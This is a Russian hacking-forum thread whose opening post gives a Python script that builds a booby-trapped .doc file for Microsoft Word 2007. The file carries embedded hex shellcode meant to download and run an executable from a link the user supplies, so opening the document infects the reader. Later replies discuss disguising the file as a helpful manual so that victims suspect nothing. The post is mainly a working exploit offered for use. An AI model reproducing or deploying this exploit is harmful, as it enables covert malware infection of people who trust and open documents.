Основан 26 Июля 2013 года
freehacks.ru fhacks.me fhacks.pw fhacksnplmzxaaoo.onion
HashFlare
Показано с 1 по 10 из 10
  1. #1
    Trust
    TopicStarter
    Красава
    Аватар для Develop

    Статус
    Offline
    Регистрация
    27.07.2013
    Сообщений
    397
    Репутация
    77 + / -
    Web-программист

    Дырка в Microsoft word 2007

    Дырка думаю многим известная...позволяет при запуске файла .doc автоматически скачивать и запускать ехе файлы, работает только на 2007 версии офиса

    устанавливаем Python и создаем проект

    Код:
    import binascii
    
    filename='Document.doc'
     
    file='{\\rtF1#{   }{   }{                                                    }{   }{   }{   }{   }{   }{   }{\\shp{   }{   }{   }{                                                    }{   }{   \\shpinst{   }{   }{   }{   }{   }{\\sp{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }'
    file+="{  \generator Msftedit 5.41.15.1507;}\viewkind4\uc1\pard{\pntext\f2\'B7\tab}{  \pn\pnlvlblt\pnf2\pnindent0{\pntxtb\'B7}}\fi-720\li720\qc\cf1\ul\b\i\f0\fs20 5/28/2011\cf0\ulnone\b0\i0\par"
    file+="\cf1\ul\b\i\f1\fs40{\pntext\f2\'B7\tab}HI ........\cf0\ulnone\b0\i0\f0\fs20\par"
    file+="{                                                    }"
    file+="{  }"
    file+='{                                                    }{                                                    }{   }{   }{   }{\\sn pfRAGMENTs}{   }{   }{   }{   }{                                                    }{                                                    }{\\sv {   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }'
    file+='{                                                    }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }'
    file+="{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }\x0d\x0a"
    file+='{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }{   }1;28;ffffffffff'
    
    file+="\x0d\x0a\x0d" * 3600
    
    file+='0500000000000000000000000000000000000000007bd493780000807c0000807cBBBBBBBBCCCCCCCCDDDDDDDD'
    file+='909090909090909090909090909090909090eb'
    
    file+="                           " * 5380
    file+='7731c9648b71308b760c8b761c8b5e088b7e208b3666394f1875f2c3608b6c24248b453c8b54057801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c3e892ffffff5f81ef98ffffffeb05e8edffffff688e4e0eec53e894ffffff31c966b96f6e516875726c6d54ffd068361a2f7050e87affffff31c951518d3781c6eeffffff8d560c525751ffd06898fe8a0e53e85bffffff415156ffd0687ed8e27353e84bffffffffd0636d642e657865202f632020612e65786500'
    
    URL='Тут прямая ссылка на ехе файл'
    nxt='{}}}}}}'
    URL2="00"
    nxt+="\x0d\x0a"
    nxt+="\x0d\x0a\x7d\x0d\x0a\x00"
    buff="\x20" * 2767
    binnu=binascii.b2a_hex(URL)
    textfile = open(filename , 'w')
    textfile.write(file+binnu+URL2+nxt+buff)
    textfile.close()
    запустите это проект и файл Microsoft word 2007 создастся автоматически!
    Последний раз редактировалось admin; 27.08.2013 в 15:06.

  2. 3 пользователя(ей) сказали cпасибо:
  3. #2
    Спасиб)

  4. #3
    Аватар для Zav

    Статус
    Offline
    Регистрация
    11.11.2013
    Сообщений
    56
    Репутация
    8 + / -
    Другое
    А текст в ворде свой написать можно?)

  5. #4
    Аватар для Odens

    Статус
    Offline
    Регистрация
    06.01.2014
    Сообщений
    75
    Репутация
    22 + / -
    Кардинг
    нет) а толку? после запуска сразу идет загрузка ехе

  6. #5
    Аватар для Zav

    Статус
    Offline
    Регистрация
    11.11.2013
    Сообщений
    56
    Репутация
    8 + / -
    Другое
    пишется мануал о том, как выйти в ТОП 3 за месяц, пихается exe, люди скачивают, читают, довольны - я так же доволен.. и никаких подозрений у них нет

  7. #6
    Аватар для kaiLost

    Статус
    Offline
    Регистрация
    08.09.2013
    Сообщений
    1
    Репутация
    0 + / -
    Другое
    Изображения Изображения

  8. #7
    Lord
    of the two universes
    Аватар для •Lexx•

    Статус
    Offline
    Регистрация
    24.10.2013
    Сообщений
    296
    Репутация
    167 + / -
    Другое
    Ога))))))))
    Спарсил тред)
    Авира кстати ваще лютая штука, у меня был код с++ но в блокноте, так не успел открыть, как она его в дел...=\
    Мудрый знает не многое, а нужное (с) Эсхил.
    «
    Это планета 13-го типа. Такие уничтожают сами себя, путем внутреннего военного конфликта, экологической катастрофы, но чаще всего — когда их ученые пытаются определить массу бозона Хиггса
    »
    — 790 про Землю.

  9. #8
    Аватар для sata-ata

    Статус
    Offline
    Регистрация
    29.10.2013
    Сообщений
    3,035
    Репутация
    282 + / -
    Программист
    Цитата Сообщение от •Lexx• Посмотреть сообщение
    Ога))))))))
    Спарсил тред)
    Авира кстати ваще лютая штука, у меня был код с++ но в блокноте, так не успел открыть, как она его в дел...=\
    у неё что,, компиль встроенный?)
    8AC4F56356469F79B5283364053ACDA49D8EC9FEFDADC2B42F A5B4E979D9222267583F350BF9

    с/delphi/pascal/vbs/vbm/bat
    Ник зареган, суки! [Только зарегистрированные могут видеть это. ]

  10. #9
    Аватар для Sler

    Статус
    Offline
    Регистрация
    22.06.2014
    Сообщений
    117
    Репутация
    27 + / -
    Другое
    Полезная Вещь
    Не обманешь судьбу и не купишь любовь
    Ни за жизнь, ни за смерть, ни за горсть серебра.
    И холодная сталь ляжет под ноги вновь
    Равновесием зла и добра.

  11. #10
    Аватар для Frolov

    Статус
    Offline
    Регистрация
    03.07.2014
    Сообщений
    18
    Репутация
    2 + / -
    Другое
    спасибо, интерестно, как то про эту дырку не знал

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Информация на сайте предоставлена исключительно в ознакомительных целях, использование знаний в противозаконных целях преследуется по закону! Администрация не несет ответственности за ваши деяния.